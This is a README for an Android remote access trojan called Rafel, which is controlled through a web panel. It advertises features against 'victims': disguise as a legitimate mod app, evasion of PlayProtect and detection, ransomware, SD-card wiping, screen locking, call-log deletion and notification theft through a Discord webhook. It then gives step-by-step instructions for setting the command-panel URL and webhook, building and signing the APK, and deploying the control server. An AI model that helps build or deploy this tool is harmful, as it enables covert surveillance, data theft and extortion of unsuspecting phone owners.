Rafel is Remote Access Tool Used to Control Victims Using WebPanel With More Advance Features..

AUTHOR	SWAGKARNA	VERSION	1.0	STARS	448	FOLLOWERS	950
--------	-----------	---------	-----	-------	-----	-----------	-----

If you like the tool and for my personal motivation so as to develop other tools please leave a +1 star

Main Features :

- Admin Permission
 - Add App To White List(Ignore Battery Optimisation)
 - Looks Like Legit Mod App
 - Runs In Background Even App is Closed(May not work on some Devices)
 - Accessibility Feature(Cause Erros in some device --> ignore it)
 - Support Android v5 - v11
 - No Port Forwarding Needed
 - Acquire Wakelock
 - Fully Undetectable
 - Bypass PlayProtect
 - WipeSdcard
 - Lock Device Screen
 - Change Wallpaper
 - Ransomware
 - Vibrate Device
 - Delete Calls Logs
 - Notify Victims Via Discord
 - steal notifications(send through discord)
 - Added AutoStart For (poco,xiaomi,oppo,vivo,LetV,Honor)
-

Prerequisites

Android Studio

OR

[ApkEasyTool](#)

Building Apk With Android Studio

1. Open Project **BlackMart** in Android Studio
 2. Put the `command.php` link of server in InternalService.class class
 3. Now open `NotificationListener.java` and enter replace with your discord webhook url
 4. Build the Project
 5. Zipalign and sign the Apk...
-

Building Apk with ApkEasyTool:

1. Download [BlackMartapk](#) and decompile with `Apktool` and navigate to `smali_classes2\com\velociraptor\raptor`
 2. Open `InternalService.smali`
 3. Replace this with your Panel Url ***const-string v0, "https://your-webpanel-url/public/commands.php"***
 4. Now open `NotificationListener.smali` and enter replace with your discord webhook url
-

Building Server

1. Upload Files in server Folder to Your HostingPanel
 2. Now Open login.php
 3. Enter Username ***Hande*** Password ***Ercel***
 4. Note : Make Sure your webhosting site uses Https and should have valid connection...I recommend 000webhost.com
 5. You can now use panel to send commands and also refresh after it
